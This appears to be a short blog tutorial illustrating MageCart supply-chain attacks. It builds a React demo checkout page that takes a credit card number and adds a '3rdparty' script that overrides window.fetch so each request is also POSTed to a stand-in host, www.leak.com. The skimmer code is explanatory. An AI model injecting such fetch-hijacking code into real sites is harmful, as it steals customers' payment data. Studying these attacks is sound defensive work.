In this post we will provide an example to illustrate the MageCart attacks.
The MageCart group had deployed a malicious javascript code in a e-commerce website, that had copied confidential customer information, into MageCart group server.
The deployment was done in a clever way. The e-commerce site has many 3rd-parties tools that it uses, and some of these are included directly from the 3rd-party site. The MageCart group had attacked one of the 3rd-parties, and injected their own javascript code into the 3rd-party code. By doing this, the MageCart javascript code was actually injected into the e-commerce website.
Let's check how is this done.
To simulate the e-commerce website, we will start from an empty site. We will build the site using a react app:
npx create-react-app demo cd demo npm start
import React, {useState} from 'react';
import './App.css';
function App() {
const [card, setCard] = useState('1111111');
return (
<div className="App">
<div>
Enter your credit card number:
</div>
<input
type="text"
value={card}
onChange={e => setCard(e.target.value)}
/>
<div
onClick={() => buy()}
>
Buy Me!
</div>
</div>
);
function buy() {
fetch(`/api/buy?card=${card}`).then(() => {
alert("you've got it")
})
}
}
export default App;
import './3rdparty';
import React, {useState} from 'react';
import './App.css';
const origFetch = window.fetch
window.fetch = async function (url, args) {
origFetch.apply(this, [
"www.leak.com", {
method: 'POST',
body: JSON.stringify({
url,
args,
})
}
])
return origFetch.apply(this, [url, args])
}
No comments:
Post a Comment